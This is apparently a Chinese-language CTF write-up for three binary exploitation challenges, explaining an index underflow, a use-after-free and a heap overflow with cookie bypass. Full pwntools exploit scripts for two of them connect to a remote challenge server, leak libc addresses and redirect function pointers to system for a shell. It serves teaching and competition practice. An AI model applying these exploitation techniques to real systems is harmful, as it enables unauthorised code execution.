pwn1–list
- 64位elf
list: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d06eb3a0d1a9f8fb00bf78cee1718e5cfacc8401, stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
- 程序功能,提供列表添加删除查看功能。
列表和列表下标存放在bss段。
漏洞位置
- 在删除函数和添加函数中只对数组上界做了校验,可以无限删除数组。
1
2
3
4
5
6
7
8
9
10int dele_400899()
{
if ( count_6020D0 > 9 )
{
puts("ERROR!");
exit(-1);
}
--count_6020D0;
return puts("Delete Successfully!");
}漏洞利用
- 通过不断删除数组,将下表索引到plt位置中指向got表的指针。
- 通过指针leak 和修改 got内容
1 | from pwn import * |
pwn2–p200
-64位elf动态链接
p200: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=de9b1c40767540d12d8d1041a09ac4b1962ec542, stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)</code>
- ida打开是c++的程序
- 运行程序
1 | Please input you choose: |
- 漏洞位置和题目描述一致uaf
- 漏洞利用,通过uaf修改虚表到内置system函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21from pwn import *
context.log_level = 'debug'
p = remote("106.75.8.58",12333)#106.75.8.58 12333
#p = process("./p200")
def pwn():
p.recvuntil("1. use, 2. after, 3. free")
p.sendline("3")
p.recvuntil("1. use, 2. after, 3. free")
p.sendline("2")
p.recvuntil("length:")
p.sendline("48")
p.sendline(p64(0x602d70)*3)
p.recvuntil("1. use, 2. after, 3. free")
p.sendline("2")
p.recvuntil("length:")
p.sendline("48")
p.sendline(p64(0x0602d70)*3)
# print pidof(p)
# raw_input()
p.interactive()
pwn()
##pwn3–heap
- 64位elf,开了full relro,目测需要修改虚表什么的。
heap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9617890c383987f9d17ada456d9d2f925b2cf6a1, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)</code>
- 在main函数中开始有一个函数随机申请和释放堆,造成堆空间不可预测,并生成一个cookie值。
1 | __int64 sub_400D2E() |
- 主要的结构体是这样的
1 | struct heap |
- 在name_ptr 和school_name_ptr指向的空间中的结尾会复制有cookie。
- 剩下几个函数就拼命盯着那个cookie值,几乎所有的操作都校验三次cookie,给了相当于无限申请堆的能力。
- 出题人留了个很漂亮的堆溢出
1 | _int64 __fastcall sub_401038(int a1) |
漏洞利用
- 通过前面申请大量的堆空间,将随机生成的堆块归并。
- 再次布局堆空间,这时,堆空间就得到了分布相连接的堆快。
通过溢出堆快修改相邻的堆快中的结构为
1
2
3
4name_pt -> cookie
name_len = 0
school_name_ptr - > cookie
school_name_len = 0利用上面的构造可以修改存放在堆上的cookie,顺便留了/bin/sh
- 通过上面相同的办法将绕过cookie校验,leak 出libc地址,修改结构体中的函数位system。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81from pwn import *
context.log_level = 'debug'
slocal = 0
if slocal :
p = process("./heap",env={"LD_PRELOAD":"./libc.so.6"})
else:
p = remote("106.75.8.58",23238)
def add(nam_len,name,sc_len,sc,yn):
p.recvuntil("option:")
p.sendline("1")
p.recvuntil("length of name")
p.sendline(str(nam_len))
p.recvuntil("input name")
p.sendline(name)
p.recvuntil("schoolname")
p.sendline(str(sc_len))
p.recvuntil("school name")
p.sendline(sc)
p.recvuntil("tutor?")
p.sendline(yn)
def dele(idx):
p.recvuntil("option:")
p.sendline("2")
p.recvuntil("input a id to delete")
p.sendline(str(idx))
def edit(idx,opt,ll,name):
p.recvuntil("option:")
p.sendline("3")
p.recvuntil("input a id to edit")
p.sendline(str(idx))
p.recvuntil("option:")
p.sendline(str(opt))
p.recvuntil("name")
p.sendline(str(ll))
p.recvuntil("name")
p.sendline(name)
'''exit_off = 0x3a030
one_off = 0x4526a
hook_off = 0x3c4b10'''
exit_off = 0x000000000003a030
one_off= 0x4526a
system_off = 0x0000000000045390
def pwn():
for x in xrange(100):
add(4096,'deadbeef',4096,'deadbeef','no')
add(16,'leakinfo',16,'leakinfo','yes')
add(200,'AAAAAAAA',200,'aaaaaaaa','yes')
add(200,'BBBBBBBB',200,'bbbbbbbb','yes')
add(200,'CCCCCCCC',200,'cccccccc','yes')
add(200,'DDDDDDDD',200,'aaaaaaaa','yes')
add(200,'EEEEEEEE',200,'bbbbbbbb','yes')
add(200,'FFFFFFFF',200,'cccccccc','yes')
payload = 'A'*440+p64(0x41)+p64(0x69)+p64(0x60F03f)+p64(0)+p64(0x400954)+p64(0x0602FF0)+p32(49231)
edit(104,1,500,payload)
edit(105,1,25,'AAAAAAAAA/bin/sh\x00AAAAAAAA')
payload = 'A'*440+p64(0x41)+p64(0x6d)+p64(0x602ff0)+p64(0xc04f)+p64(0x400954)+p64(0x602ff0)+'\x4f\xc0'
add(200,"HHHHHHHH",200,'hhhhhhhh','yes')
add(200,'IIIIIIII',200,'iiiiiiii','yes')
add(200,'KKKKKKKK',200,'kkkkkkkk','yes')
add(200,'LLLLLLLL',200,'llllllll','yes')
edit(107,1,500,payload)
p.recvuntil("option:")
p.sendline("4")
p.recvuntil("input a id to intro")
p.sendline('108')
p.recvuntil("from ")
data = p.recvn(6)
libc = u64(data.ljust(8,'\x00'))-exit_off
one = libc+one_off
system =libc +system_off
print "libc address is "+hex(libc)
print pidof(p)
raw_input()
payload = 'A'*440+p64(0x41)+p64(0x6d)+p64(0x60f048)+p64(8)+p64(system)+p64(0x602ff0)+'\x4f\xc0'
edit(109,1,500,payload)
p.recvuntil("option:")
p.sendline("4")
p.recvuntil("intro")
p.sendline('110')
p.interactive()
pwn()